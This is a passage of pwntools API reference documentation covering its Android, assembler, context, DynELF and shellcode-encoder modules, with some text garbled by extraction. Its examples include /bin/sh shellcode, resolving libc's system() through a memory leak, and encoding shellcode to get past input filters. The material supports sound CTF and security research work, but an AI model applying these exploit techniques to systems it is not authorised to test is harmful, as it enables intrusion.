thumb.android.timer settime thumb.android.truncate thumb.android.truncate64 thumb.android.ulimit thumb.android.umask thumb.android.uname thumb.android.unlink thumb.android.unlinkat thumb.android.unshare thumb.android.ustat thumb.android.utime thumb.android.utimensat thumb.android.utimes thumb.android.vfork thumb.android.vhangup thumb.android.vmsplice thumb.android.wait4 thumb.android.waitid thumb.android.waitpid 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1.5.14 unhex

Decodes hex-encoded data provided on the command line or via stdin.

usage: unhex [-h] [hex [hex ...]]

hex

Hex bytes to decode

-h, --help

show this help message and exit

Module Index

Each of the pwntools modules is documented here.

2.1 pwnlib.adb — Android Debug Bridge

Provides utilities for interacting with Android devices via the Android Debug Bridge.

Parameters name (str) – Optional, read a single property.

```
type, port, product='unknown', model='unknown',
class pwnlib.adb.AdbDevice (serial,
                                vice='unknown')
     Encapsulates information about a connected device.
pwnlib.adb.adb (argv, *a, **kw)
     Returns the output of an ADB subcommand.
pwnlib.adb.build()
     Returns the Build ID of the device.
pwnlib.adb.compile(source)
     Compile a source file or project with the Android NDK.
pwnlib.adb.devices(*a, **kw)
     Returns a list of Device objects corresponding to the connected devices.
pwnlib.adb.disable_verity()
     Disables dm-verity on the device.
pwnlib.adb.fastboot (args, *a, **kw)
     Executes a fastboot command.
          Returns The command output.
pwnlib.adb.find_ndk_project_root (source)
     Given a directory path, find the topmost project root.
     tl;dr "foo/bar/jni/baz.cpp" ==> "foo/bar"
pwnlib.adb.fingerprint()
     Returns the device build fingerprint.
pwnlib.adb.forward(port)
     Sets up a port to forward to the device.
pwnlib.adb.getprop(name=None)
     Reads a properties from the system property store.
```

Returns If name is not specified, a dict of all properties is returned. Otherwise, a string is returned with the contents of the named property.

```
pwnlib.adb.interactive(**kw)
```

Spawns an interactive shell.

```
pwnlib.adb.listdir(directory='/')
```

Returns a list containing the entries in the provided directory.

Note: Because adb shell is used to retrieve the listing, shell environment variable expansion and globbing are in effect.

```
pwnlib.adb.logcat(*a, **kw)
```

Reads the system log file.

By default, causes logcat to exit after reading the file.

Parameters stream (bool) - If True, the contents are streamed rather than read in a one-shot manner. Default is False.

Returns If stream is False, returns a string containing the log data. Otherwise, it returns a tube connected to the log output.

```
pwnlib.adb.pidof(name)
```

Returns a list of PIDs for the named process.

```
pwnlib.adb.proc_exe(pid)
```

Returns the full path of the executable for the provided PID.

```
pwnlib.adb.process(argv, *a, **kw)
```

Execute a process on the device.

See pwnlib.tubes.process.process documentation for more info.

Returns A process tube.

```
pwnlib.adb.product()
```

Returns the device product identifier.

```
pwnlib.adb.pull (remote_path, local_path=None)
```

Download a file from the device.

Parameters

- **remote_path** (*str*) Path or directory of the file on the device.
- **local path** (str) Path to save the file to. Uses the file's name by default.

```
pwnlib.adb.push (local_path, remote_path)
```

Upload a file to the device.

Parameters

- **local_path** (*str*) Path to the local file to push.
- **remote_path** (*str*) Path or directory to store the file on the device.

```
pwnlib.adb.read(*a, **kw)
```

Download a file from the device, and extract its contents.

Parameters

• path (str) – Path to the file on the device.

• target (str) - Optional, location to store the file. Uses a temporary file by default.

```
pwnlib.adb.reboot (wait=True)
    Reboots the device.

pwnlib.adb.reboot_bootloader()
    Reboots the device to the bootloader.

pwnlib.adb.remount()
    Remounts the filesystem as writable.

pwnlib.adb.root()
    Restarts adbd as root.

pwnlib.adb.setprop (name, value)
    Writes a property to the system property store.

pwnlib.adb.shell(**kw)
    Returns an interactive shell.

pwnlib.adb.unlock_bootloader()
    Unlocks the bootloader of the device.
```

Note: This requires physical interaction with the device.

```
pwnlib.adb.unroot()
    Restarts adbd as AID_SHELL.

pwnlib.adb.wait_for_device(*a, **kw)
    Waits for a device to be connected.

pwnlib.adb.which(*a, **kw)
    Retrieves the full path to a binary in PATH on the device
pwnlib.adb.write(*a, **kw)
    Create a file on the device with the provided contents.
```

Parameters

- path (str) Path to the file on the device
- data (str) Contents to store in the file

2.2 pwnlib.asm — Assembler functions

Utilities for assembling and disassembling code.

2.2.1 Architecture Selection

Architecture, endianness, and word size are selected by using pwnlib.context.

Any parameters which can be specified to context can also be specified as keyword arguments to either asm() or disasm().

2.2.2 Assembly

To assemble code, simply invoke asm () on the code to assemble.

```
>>> asm('mov eax, 0')
'\xb8\x00\x00\x00'
```

Additionally, you can use constants as defined in the pwnlib.constants module.

```
>>> asm('mov eax, SYS_execve')
'\xb8\x00\x00\x00'
```

Finally, asm() is used to assemble shellcode provided by pwntools in the shellcraft module.

```
>>> asm(shellcraft.sh())
'jhh///sh/binj\x0bX\x89\xe31\xc9\x99\xcd\x80'
```

2.2.3 Disassembly

To disassemble code, simply invoke disassm() on the bytes to disassemble.

```
>>> disasm('\xb8\x0b\x00\x00\x00')
' 0: b8 0b 00 00 00 mov eax,0xb'
```

```
pwnlib.asm.asm(code, vma = 0, extract = True,...) \rightarrow str
```

Runs cpp () over a given shellcode and then assembles it into bytes.

To see which architectures or operating systems are supported, look in pwnlib.contex.

To support all these architecture, we bundle the GNU assembler and objcopy with pwntools.

Parameters

- **shellcode** (str) Assembler code to assemble.
- vma (int) Virtual memory address of the beginning of assembly
- **extract** (bool) Extract the raw assembly bytes from the assembled file. If False, returns the path to an ELF file with the assembly embedded.

Kwargs: Any arguments/properties that can be set on context

Examples

```
>>> asm("mov eax, SYS_select", arch = 'i386', os = 'freebsd')
    '\xb8]\x00\x00\x00'
>>> asm("mov eax, SYS_select", arch = 'amd64', os = 'linux')
    '\xb8\x17\x00\x00\x00'
>>> asm("mov rax, SYS_select", arch = 'amd64', os = 'linux')
    'H\xc7\xc0\x17\x00\x00\x00'
>>> asm("mov r0, #SYS_select", arch = 'arm', os = 'linux', bits=32)
    'R\x00\xa0\xe3'
```

```
pwnlib.asm.cpp (shellcode, ...) \rightarrow str
```

Runs CPP over the given shellcode.

The output will always contain exactly one newline at the end.

Parameters shellcode (str) - Shellcode to preprocess

Kwargs: Any arguments/properties that can be set on context

Examples

```
>>> cpp("mov al, SYS_setresuid", arch = "i386", os = "linux")
'mov al, 164\n'
>>> cpp("weee SYS_setresuid", arch = "arm", os = "linux")
'weee (0+164)\n'
>>> cpp("SYS_setresuid", arch = "thumb", os = "linux")
'(0+164)\n'
>>> cpp("SYS_setresuid", os = "freebsd")
'311\n'
```

pwnlib.asm.disasm $(data,...) \rightarrow str$

Disassembles a bytestring into human readable assembler.

To see which architectures are supported, look in pwnlib.contex.

To support all these architecture, we bundle the GNU objcopy and objdump with pwntools.

Parameters

- **data** (str) Bytestring to disassemble.
- vma (int) Passed through to the –adjust-vma argument of objdump
- byte (bool) Include the hex-printed bytes in the disassembly
- offset (bool) Include the virtual memory address in the disassembly

Kwargs: Any arguments/properties that can be set on context

Examples

```
>>> print disasm('b85d000000'.decode('hex'), arch = 'i386')
  0: b8 5d 00 00 00
                            mov
                                     eax, 0x5d
>>> print disasm('b85d000000'.decode('hex'), arch = 'i386', byte = 0)
  0: mov eax, 0x5d
>>> print disasm('b85d000000'.decode('hex'), arch = 'i386', byte = 0, offset = 0)
     eax,0x5d
>>> print disasm('b817000000'.decode('hex'), arch = 'amd64')
  0: b8 17 00 00 00
                              mov eax, 0x17
>>> print disasm('48c7c017000000'.decode('hex'), arch = 'amd64')
  0: 48 c7 c0 17 00 00 00 mov rax,0x17
>>> print disasm('04001fe552009000'.decode('hex'), arch = 'arm')
  0: e51f0004 ldr
4: 00900052 addse
                             r0, [pc, #-4]; 0x4
                     addseq r0, r0, r2, asr r0
>>> print disasm('4ff00500'.decode('hex'), arch = 'thumb', bits=32)
  0:
      f04f 0005
                     mov.w r0, #5
>>>
```

pwnlib.asm.make_elf(*a, **kw)

Builds an ELF file with the specified binary data as its executable code.

Parameters

- data (str) Assembled code
- vma (int) Load address for the ELF file

Examples

This example creates an i386 ELF that just does execve('/bin/sh',...).

```
pwnlib.asm.make_elf_from_assembly(*a, **kw)
```

Builds an ELF file with the specified assembly as its executable code.

Parameters

- assembly (str) Assembly
- vma (int) Load address of the binary
- **extract** (bool) Whether to return the data extracted from the file created, or the path to it.

Returns The path to the assembled ELF (extract=False), or the data of the assembled ELF.

Example

```
>>> context.clear()
>>> context.arch = 'amd64'
>>> sc = 'push rbp; mov rbp, rsp;'
>>> sc += shellcraft.echo('Hello\n')
>>> sc += 'mov rsp, rbp; pop rbp; ret'
>>> solib = make_elf_from_assembly(sc, shared=1)
>>> subprocess.check_output(['echo', 'World'], env={'LD_PRELOAD': solib})
'Hello\nWorld\n'
```

2.3 pwnlib.atexception — Callbacks on unhandled exception

Analogous to atexit, this module allows the programmer to register functions to be run if an unhandled exception occurs.

```
pwnlib.atexception.register(func, *args, **kwargs)
```

Registers a function to be called when an unhandled exception occurs. The function will be called with positional arguments *args* and keyword arguments *kwargs*, i.e. func(*args, **kwargs). The current *context* is recorded and will be the one used when the handler is run.

E.g. to suppress logging output from an exception-handler one could write:

```
with context.local(log_level = 'error'):
   atexception.register(handler)
```

An identifier is returned which can be used to unregister the exception-handler.

This function can be used as a decorator:

```
@atexception.register
def handler():
...
```

Notice however that this will bind handler to the identifier and not the actual exception-handler. The exception-handler can then be unregistered with:

```
atexception.unregister(handler)
```

This function is thread safe.

```
pwnlib.atexception.unregister(func)
```

Remove *func* from the collection of registered functions. If *func* isn't registered this is a no-op.

2.4 pwnlib.atexit — Replacement for atexit

Replacement for the Python standard library's atexit.py.

Whereas the standard atexit module only defines atexit.register(), this replacement module also defines unregister().

This module also fixes a the issue that exceptions raised by an exit handler is printed twice when the standard atexit is used.

```
pwnlib.atexit.register(func, *args, **kwargs)
```

Registers a function to be called on program termination. The function will be called with positional arguments *args* and keyword arguments *kwargs*, i.e. func(*args, **kwargs). The current *context* is recorded and will be the one used when the handler is run.

E.g. to suppress logging output from an exit-handler one could write:

```
with context.local(log_level = 'error'):
   atexit.register(handler)
```

An identifier is returned which can be used to unregister the exit-handler.

This function can be used as a decorator:

```
@atexit.register
def handler():
...
```

Notice however that this will bind handler to the identifier and not the actual exit-handler. The exit-handler can then be unregistered with:

```
atexit.unregister(handler)
```

This function is thread safe.

```
pwnlib.atexit.unregister(ident)
```

Remove the exit-handler identified by *ident* from the list of registered handlers. If *ident* isn't registered this is a no-op.

2.5 pwnlib.constants — Easy access to header file constants

Module containing constants extracted from header files.

The purpose of this module is to provide quick access to constants from different architectures and operating systems.

The constants are wrapped by a convenience class that allows accessing the name of the constant, while performing all normal mathematical operations on it.

Example

```
>>> str(constants.freebsd.SYS_stat)
'SYS_stat'
>>> int(constants.freebsd.SYS_stat)
188
>>> hex(constants.freebsd.SYS_stat)
'0xbc'
>>> 0 | constants.linux.i386.SYS_stat
106
>>> 0 + constants.linux.amd64.SYS_stat
4
```

The submodule freebsd contains all constants for FreeBSD, while the constants for Linux have been split up by architecture.

The variables of the submodules will be "lifted up" by setting the pwnlib.context.arch or pwnlib.context.os in a manner similar to what happens in pwnlib.shellcraft.

Example

```
>>> with context.local(os = 'freebsd'):
...     print int(constants.SYS_stat)
188
>>> with context.local(os = 'linux', arch = 'i386'):
...     print int(constants.SYS_stat)
106
>>> with context.local(os = 'linux', arch = 'amd64'):
...     print int(constants.SYS_stat)
4
```

2.6 pwnlib.context — Setting runtime variables

```
pwnlib.context.context = ContextType()
```

Global context object, used to store commonly-used pwntools settings. In most cases, the context is used to infer default variables values. For example, <code>pwnlib.asm.asm()</code> can take an os parameter as a keyword argument. If it is not supplied, the os specified by context is used instead. Consider it a shorthand to passing os= and arch= to every single function call.

```
class pwnlib.context.ContextType(**kwargs)
```

Class for specifying information about the target machine. Intended for use as a pseudo-singleton through the global variable pwnlib.context.context, available via from pwn import * as context.

The context is usually specified at the top of the Python file for clarity.

```
#!/usr/bin/env python
context.update(arch='i386', os='linux')
```

Currently supported properties and their defaults are listed below. The defaults are inherited from pwnlib.context.ContextType.defaults.

Additionally, the context is thread-aware when using <code>pwnlib.context.Thread</code> instead of threading. Thread (all internal pwntools threads use the former).

The context is also scope-aware by using the with keyword.

Examples

```
>>> context.clear()
>>> context.update(os='linux')
>>> context.os == 'linux'
True
>>> context.arch = 'arm'
>>> vars(context) == {'arch': 'arm', 'bits': 32, 'endian': 'little', 'os': 'linux'}
True
>>> context.endian
'little'
>>> context.bits
32
>>> def nop():
... print pwnlib.asm.asm('nop').encode('hex')
>>> nop()
00f020e3
>>> with context.local(arch = 'i386'):
     nop()
90
>>> from pwnlib.context import Thread as PwnThread
>>> from threading
                        import Thread as NormalThread
>>> with context.local(arch = 'mips'):
      pwnthread = PwnThread(target=nop)
       thread = NormalThread(target=nop)
>>> # Normal thread uses the default value for arch, 'i386'
>>> _=(thread.start(), thread.join())
>>> # Pwnthread uses the correct context from creation-time
>>> _= (pwnthread.start(), pwnthread.join())
00000000
>>> nop()
00f020e3
```

class Thread (*args, **kwargs)

Instantiates a context-aware thread, which inherit its context when it is instantiated. The class can be accessed both on the context module as *pwnlib.context.Thread* and on the context singleton object inside the context module as *pwnlib.context.context.Thread*.

Threads created by using the native :class'threading'.Thread' will have a clean (default) context.

Regardless of the mechanism used to create any thread, the context is de-coupled from the parent thread, so changes do not cascade to child or parent.

Saves a copy of the context when instantiated (at __init__) and updates the new thread's context before passing control to the user code via run or target=.

Examples

```
>>> context.clear()
>>> context.update(arch='arm')
>>> def p():
       print context.arch
       context.arch = 'mips'
       print context.arch
>>> # Note that a normal Thread starts with a clean context
>>> # (i386 is the default architecture)
>>> t = threading.Thread(target=p)
>>> _=(t.start(), t.join())
i386
mips
>>> # Note that the main Thread's context is unchanged
>>> print context.arch
>>> # Note that a context-aware Thread receives a copy of the context
>>> t = pwnlib.context.Thread(target=p)
>>> _=(t.start(), t.join())
arm
mips
>>> # Again, the main thread is unchanged
>>> print context.arch
```

Implementation Details:

This class implemented by hooking the private function threading. Thread_bootstrap(), which is called before passing control to threading. Thread.run().

This could be done by overriding run itself, but we would have to ensure that all uses of the class would only ever use the keyword target= for __init__, or that all subclasses invoke super(Subclass.self).set_up_context() or similar.

ContextType.adb

Returns an argument array for connecting to adb.

```
ContextType.adb_host
```

Sets the target host which is used for ADB.

This is useful for Android exploitation.

The default value is inherited from ANDROID_ADB_SERVER_HOST, or set to the default 'localhost'.

```
ContextType.adb_port
```

Sets the target port which is used for ADB.

This is useful for Android exploitation.

The default value is inherited from ANDROID_ADB_SERVER_PORT, or set to the default 5037.

ContextType.arch

Target binary architecture.

Allowed values are listed in pwnlib.context.ContextType.architectures.

Side Effects:

If an architecture is specified which also implies additional attributes (e.g. 'amd64' implies 64-bit words, 'powerpc' implies big-endian), these attributes will be set on the context if a user has not

already set a value.

The following properties may be modified.

- •bits
- •endian

Raises AttributeError - An invalid architecture was specified

Examples

```
>>> context.clear()
>>> context.arch == 'i386' # Default architecture
True

>>> context.arch = 'mips'
>>> context.arch == 'mips'
True

>>> context.arch = 'doge'
Traceback (most recent call last):
...
AttributeError: arch must be one of ['aarch64', ..., 'thumb']

>>> context.arch = 'ppc'
>>> context.arch == 'powerpc' # Aliased architecture
True
```

```
>>> context.clear()
>>> context.bits == 32 # Default value
True
>>> context.arch = 'amd64'
>>> context.bits == 64 # New value
True
```

Note that expressly setting bits means that we use that value instead of the default

```
>>> context.clear()
>>> context.bits = 32
>>> context.arch = 'amd64'
>>> context.bits == 32
True
```

Setting the architecture can override the defaults for both endian and bits

```
>>> context.clear()
>>> context.arch = 'powerpc64'
>>> vars(context) == {'arch': 'powerpc64', 'bits': 64, 'endian': 'big'}
True
```

ContextType.architectures = OrderedDict([('powerpc64', {'bits': 64, 'endian': 'big'}), ('aarch64', {'bits': 64

ContextType.aslr

ASLR settings for new processes.

If False, attempt to disable ASLR in all processes which are created via personality (setarch -R) and setrlimit (ulimit -s unlimited).

The setarch changes are lost if a setuid binary is executed.

```
ContextType.binary
```

Infer target architecture, bit-with, and endianness from a binary file. Data type is a pwnlib.elf.ELF object.

Examples

```
>>> context.clear()
>>> context.arch, context.bits
('i386', 32)
>>> context.binary = '/bin/bash'
>>> context.arch, context.bits
('amd64', 64)
>>> context.binary
ELF('/bin/bash')
```

ContextType.bits

Target machine word size, in bits (i.e. the size of general purpose registers).

The default value is 32, but changes according to arch.

Examples

```
>>> context.clear()
>>> context.bits == 32
True
>>> context.bits = 64
>>> context.bits == 64
True
>>> context.bits = -1
Traceback (most recent call last):
...
AttributeError: bits must be > 0 (-1)
```

ContextType.bytes

Target machine word size, in bytes (i.e. the size of general purpose registers).

This is a convenience wrapper around bits / 8.

Examples

```
>>> context.bytes = 1
>>> context.bits == 8
True
```

```
>>> context.bytes = 0
Traceback (most recent call last):
...
AttributeError: bits must be > 0 (0)
```

```
ContextType.clear(*a, **kw)
```

Clears the contents of the context. All values are set to their defaults.

Parameters

- a Arguments passed to update
- **kw** Arguments passed to update

Examples

```
>>> # Default value
>>> context.arch == 'i386'
True
>>> context.arch = 'arm'
>>> context.arch == 'i386'
False
>>> context.clear()
>>> context.arch == 'i386'
True
```

ContextType.copy() \rightarrow dict

Returns a copy of the current context as a dictionary.

Examples

```
>>> context.clear()
>>> context.os = 'linux'
>>> vars(context) == {'os': 'linux'}
True
```

ContextType.defaults = {'binary': None, 'aslr': True, 'log_file': <pwnlib.context._devnull object at 0x7f5629786750

Default values for pwnlib.context.ContextType

ContextType.device

Sets the device being operated on.

ContextType.endian

Endianness of the target machine.

The default value is 'little', but changes according to arch.

Raises AttributeError - An invalid endianness was provided

```
>>> context.clear()
>>> context.endian == 'little'
True

>>> context.endian = 'big'
>>> context.endian
'big'

>>> context.endian = 'be'
>>> context.endian == 'big'
```

```
>>> context.endian = 'foobar'
Traceback (most recent call last):
```

```
AttributeError: endian must be one of ['be', 'big', 'eb', 'el', 'le', 'little']
```

ContextType.endianness

Legacy alias for endian.

Examples

```
>>> context.endian == context.endianness
True
```

ContextType.endiannesses = OrderedDict([('little', 'little'), ('big', 'big'), ('el', 'little'), ('le', 'little'), ('be', 'big'), ('o Valid values for endian

ContextType.kernel

Target machine's kernel architecture.

Usually, this is the same as arch, except when running a 32-bit binary on a 64-bit kernel (e.g. i386-on-amd64).

Even then, this doesn't matter much – only when the the segment registers need to be known

```
ContextType.local(**kwargs) \rightarrow context manager
```

Create a context manager for use with the with statement.

For more information, see the example below or PEP 343.

Parameters kwargs – Variables to be assigned in the new environment.

Returns ContextType manager for managing the old and new environment.

Examples

ContextType.log_file

Sets the target file for all logging output.

Works in a similar fashion to log_level.

```
>>> context.log_file = 'foo.txt'
>>> log.debug('Hello!')
>>> with context.local(log_level='ERROR'):
... log.info('Hello again!')
>>> with context.local(log_file='bar.txt'):
... log.debug('Hello from bar!')
>>> log.info('Hello from foo!')
>>> file('foo.txt').readlines()[-3]
'...:DEBUG:...:Hello!\n'
>>> file('foo.txt').readlines()[-2]
'...:INFO:...:Hello again!\n'
>>> file('foo.txt').readlines()[-1]
'...:INFO:...:Hello from foo!\n'
>>> file('bar.txt').readlines()[-1]
'...:DEBUG:...:Hello from bar!\n'
```

ContextType.log_level

Sets the verbosity of pwntools logging mechanism.

More specifically it controls the filtering of messages that happens inside the handler for logging to the screen. So if you want e.g. log all messages to a file, then this attribute makes no difference to you.

Valid values are specified by the standard Python logging module.

Default value is set to INFO.

Examples

```
>>> context.log_level = 'error'
>>> context.log_level == logging.ERROR
True
>>> context.log_level = 10
>>> context.log_level = 'foobar'
Traceback (most recent call last):
...
AttributeError: log_level must be an integer or one of ['CRITICAL', 'DEBUG', 'ERROR', 'INFO']
```

ContextType.noptrace

Disable all actions which rely on ptrace.

This is useful for switching between local exploitation with a debugger, and remote exploitation (without a debugger).

This option can be set with the NOPTRACE command-line argument.

ContextType.os

Operating system of the target machine.

The default value is linux.

Allowed values are listed in pwnlib.context.ContextType.oses.

```
>>> context.os = 'linux'
>>> context.os = 'foobar'
Traceback (most recent call last):
```

```
AttributeError: os must be one of ['android', 'cgc', 'freebsd', 'linux', 'windows']

ContextType.oses = ['android', 'cgc', 'freebsd', 'linux', 'windows']

Valid values for pwnlib.context.ContextType.os()

ContextType.proxy

Default proxy for all socket connections.

Accepts either a string (hostname or IP address) for a SOCKS5 proxy on the default port, or a tuple passed to socks.set_default_proxy, e.g. (socks.SOCKS4, 'localhost', 1234).

>>> context.proxy = 'localhost'

>>> r=remote('google.com', 80)

Traceback (most recent call last):

...

ProxyConnectionError: Error connecting to SOCKS5 proxy localhost:1080: [Errno 111] Connection

>>> context.proxy = None
```

ContextType.quiet

Disables all non-error logging within the enclosed scope, *unless* the debugging level is set to 'debug' or lower.

ContextType.randomize

Global flag that lots of things should be randomized.

>>> r=remote('google.com', 80, level='error')

```
ContextType.reset_local()

Deprecated. Use clear().

ContextType.sign

Alias for signed
```

ContextType.signed

Signed-ness for packing operation when it's not explicitly set.

Can be set to any non-string truthy value, or the specific string values 'signed' or 'unsigned' which are converted into True and False correspondingly.

```
>>> context.signed
False
>>> context.signed = 1
>>> context.signed
True
>>> context.signed = 'signed'
>>> context.signed
True
>>> context.signed
True
>>> context.signed = 'unsigned'
>>> context.signed
False
>>> context.signed = 'foobar'
Traceback (most recent call last):
...
AttributeError: signed must be one of ['no', 'signed', 'unsigned', 'yes'] or a non-string traceback
```

```
ContextType.signedness
```

Alias for signed

```
ContextType.signednesses = {'yes': True, 'unsigned': False, 'signed': True, 'no': False}
```

Valid string values for signed

```
ContextType.silent
```

Disable all non-error logging within the enclosed scope.

```
ContextType.terminal
```

Default terminal used by <code>pwnlib.util.misc.run_in_new_terminal()</code>. Can be a string or an iterable of strings. In the latter case the first entry is the terminal and the rest are default arguments.

```
ContextType.timeout
```

Default amount of time to wait for a blocking operation before it times out, specified in seconds.

The default value is to have an infinite timeout.

See pwnlib.timeout.Timeout for additional information on valid values.

```
ContextType.update(*args, **kwargs)
```

Convenience function, which is shorthand for setting multiple variables at once.

It is a simple shorthand such that:

```
context.update(os = 'linux', arch = 'arm', ...)
```

is equivalent to:

```
context.os = 'linux'
context.arch = 'arm'
...
```

The following syntax is also valid:

```
context.update({'os': 'linux', 'arch': 'arm'})
```

Parameters kwargs – Variables to be assigned in the environment.

Examples

```
>>> context.clear()
>>> context.update(arch = 'i386', os = 'linux')
>>> context.arch, context.os
('i386', 'linux')
```

ContextType.verbose

Enable all logging within the enclosed scope.

```
ContextType.word_size
Alias for bits
```

```
class pwnlib.context.Thread(*args, **kwargs)
```

Instantiates a context-aware thread, which inherit its context when it is instantiated. The class can be accessed both on the context module as *pwnlib.context.Thread* and on the context singleton object inside the context module as *pwnlib.context.Thread*.

Threads created by using the native :class'threading'.Thread' will have a clean (default) context.

Regardless of the mechanism used to create any thread, the context is de-coupled from the parent thread, so changes do not cascade to child or parent.

Saves a copy of the context when instantiated (at __init__) and updates the new thread's context before passing control to the user code via run or target=.

Examples

```
>>> context.clear()
>>> context.update(arch='arm')
>>> def p():
       print context.arch
       context.arch = 'mips'
      print context.arch
>>> # Note that a normal Thread starts with a clean context
>>> # (i386 is the default architecture)
>>> t = threading.Thread(target=p)
>>> _=(t.start(), t.join())
i386
mips
>>> # Note that the main Thread's context is unchanged
>>> print context.arch
arm
>>> # Note that a context-aware Thread receives a copy of the context
>>> t = pwnlib.context.Thread(target=p)
>>> _=(t.start(), t.join())
>>> # Again, the main thread is unchanged
>>> print context.arch
```

Implementation Details:

This class implemented by hooking the private function threading. Thread_bootstrap(), which is called before passing control to threading. Thread.run().

This could be done by overriding run itself, but we would have to ensure that all uses of the class would only ever use the keyword target= for __init__, or that all subclasses invoke super(Subclass.self).set_up_context() or similar.

2.7 pwnlib.dynelf — Resolving remote functions using leaks

Resolve symbols in loaded, dynamically-linked ELF binaries. Given a function which can leak data at an arbitrary address, any symbol in any loaded library can be resolved.

```
# Assume a process or remote connection
p = process('./pwnme')

# Declare a function that takes a single address, and
# leaks at least one byte at that address.

def leak(address):
    data = p.read(address, 4)
    log.debug("%#x => %s" % (address, (data or '').encode('hex')))
    return data
```

```
# For the sake of this example, let's say that we
# have any of these pointers. One is a pointer into
# the target binary, the other two are pointers into libc
     = 0xfeedf4ce
main
libc = 0xdeadb000
system = 0xdeadbeef
# With our leaker, and a pointer into our target binary,
# we can resolve the address of anything.
# We do not actually need to have a copy of the target
# binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None,
                          'libc') == libc
assert d.lookup('system', 'libc') == system
# However, if we *do* have a copy of the target binary,
# we can speed up some of the steps.
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system
# Alternately, we can resolve symbols inside another library,
# given a pointer into it.
d = DynELF(leak, libc + 0x1234)
assert d.lookup('system')
                           == system
```

DynELF

class pwnlib.dynelf.DynELF (leak, pointer=None, elf=None)

DynELF knows how to resolve symbols in remote processes via an infoleak or memleak vulnerability encapsulated by pwnlib.memleak.MemLeak.

Implementation Details:

Resolving Functions:

In all ELFs which export symbols for importing by other libraries, (e.g. libc.so) there are a series of tables which give exported symbol names, exported symbol addresses, and the hash of those exported symbols. By applying a hash function to the name of the desired symbol (e.g., 'printf'), it can be located in the hash table. Its location in the hash table provides an index into the string name table (strtab), and the symbol address (symtab).

Assuming we have the base address of libc.so, the way to resolve the address of printf is to locate the symtab, strtab, and hash table. The string "printf" is hashed according to the style of the hash table (SYSV or GNU), and the hash table is walked until a matching entry is located. We can verify an exact match by checking the string table, and then get the offset into libc.so from the symtab.

Resolving Library Addresses:

If we have a pointer into a dynamically-linked executable, we can leverage an internal linker structure called the link map. This is a linked list structure which contains information about each loaded library, including its full path and base address.

A pointer to the link map can be found in two ways. Both are referenced from entries in the DYNAMIC array.

•In non-RELRO binaries, a pointer is placed in the .got.plt area in the binary. This is marked by finding the DT_PLTGOT area in the binary.

•In all binaries, a pointer can be found in the area described by the DT_DEBUG area. This exists even in stripped binaries.

For maximum flexibility, both mechanisms are used exhaustively.

bases()

Resolve base addresses of all loaded libraries.

Return a dictionary mapping library path to its base address.

dynamic

Returns - Pointer to the . DYNAMIC area.

elfclass

32 or 64

static find_base (leak, ptr)

Given a pwnlib.memleak.MemLeak object and a pointer into a library, find its base address.

libc

Leak the Build ID of the remote libc.so, download the file, and load an ELF object with the correct base address

Returns An ELF object, or None.

link_map

Pointer to the runtime link_map object

```
lookup (symb = None, lib = None) \rightarrow int
```

Find the address of symbol, which is found in lib.

Parameters

- **symb** (str) Named routine to look up
- **lib** (*str*) Substring to match for the library name. If omitted, the current library is searched. If set to 'libc', 'libc.so' is assumed.

Returns Address of the named symbol, or None.

stack()

Finds a pointer to the stack via __environ, which is an exported symbol in libc, which points to the environment block.

```
pwnlib.dynelf.qnu hash (str) \rightarrow int
```

Function used to generated GNU-style hashes for strings.

```
pwnlib.dynelf.sysv_hash(str) 	o int
```

Function used to generate SYSV-style hashes for strings.

2.8 pwnlib.encoders — Encoding Shellcode

Encode shellcode to avoid input filtering and impress your friends!

```
pwnlib.encoders.encoder.alphanumeric(raw\_bytes) \rightarrow str
```

Encode the shellcode raw_bytes such that it does not contain any bytes except for [A-Za-z0-9].

Accepts the same arguments as encode ().

```
pwnlib.encoders.encoder.encode (raw\_bytes, avoid, expr, force) \rightarrow str
```

Encode shellcode raw bytes such that it does not contain any bytes in avoid or expr.

Parameters

- raw_bytes (str) Sequence of shellcode bytes to encode.
- avoid (str) Bytes to avoid
- **expr** (str) Regular expression which matches bad characters.
- force (bool) Force re-encoding of the shellcode, even if it doesn't contain any bytes in avoid.

```
pwnlib.encoders.encoder.line(raw\_bytes) \rightarrow str
```

Encode the shellcode raw_bytes such that it does not contain any NULL bytes or whitespace.

Accepts the same arguments as encode ().

```
pwnlib.encoders.encoder.null(raw\_bytes) \rightarrow str
```

Encode the shellcode raw_bytes such that it does not contain any NULL bytes.

Accepts the same arguments as encode ().

```
pwnlib.encoders.encoder.printable(raw\_bytes) \rightarrow str
```

Encode the shellcode raw_bytes such that it only contains non-space printable bytes.

Accepts the same arguments as encode ().

```
pwnlib.encoders.encoder.scramble(raw\ bytes) \rightarrow str
```

Encodes the input data with a random encoder.

Accepts the same arguments as encode ().

class pwnlib.encoders.i386.xor.i386XorEncoder

Generates an XOR decoder for i386.

```
>>> context.clear(arch='i386')
>>> shellcode = asm(shellcraft.sh())
>>> avoid = '/bin/sh\xcc\xcd\x80'
>>> encoded = pwnlib.encoders.i386.xor.encode(shellcode, avoid)
>>> assert not any(c in encoded for c in avoid)
>>> p = run_shellcode(encoded)
>>> p.sendline('echo hello; exit')
>>> p.recvline()
'hello\n'
```

2.9 pwnlib.elf — Working with ELF binaries

```
pwnlib.elf.load(*args, **kwargs)
```

Compatibility wrapper for pwntools v1

```
class pwnlib.elf.ELF (path)
```

Encapsulates information about an ELF file.

Variables

- path Path to the binary on disk
- symbols Dictionary of {name: address} for all symbols in the ELF
- plt Dictionary of {name: address} for all functions in the PLT
- got Dictionary of {name: address} for all function pointers in the GOT
- libs Dictionary of {path: address} for each shared object required to load the ELF

Example

```
bash = ELF(which('bash'))
hex(bash.symbols['read'])
# 0x41dac0
hex(bash.plt['read'])
# 0x41dac0
u32(bash.read(bash.got['read'], 4))
# 0x41dac6
print disasm(bash.read(bash.plt['read'],16), arch='amd64')
# 0: ff 25 1a 18 2d 00
                                     QWORD PTR [rip+0x2d181a]
                                                                     # 0x2d1820
                         jmp
# 6:
      68 59 00 00 00
                              push
# b:
      e9 50 fa ff ff
                                     0xffffffffffffa60
                              jmp
```

address

Address of the lowest segment loaded in the ELF. When updated, cascades updates to segment vaddrs, section addrs, symbols, plt, and got.

```
>>> bash = ELF(which('bash'))
>>> old = bash.symbols['read']
>>> bash.address += 0x1000
>>> bash.symbols['read'] == old + 0x1000
True
```

asm (address, assembly)

Assembles the specified instructions and inserts them into the ELF at the specified address.

The resulting binary can be saved with ELF.save()

bss(offset=0)

Returns an index into the .bss segment

disasm(address, n_bytes)

Returns a string of disassembled instructions at the specified virtual memory address

dwarf

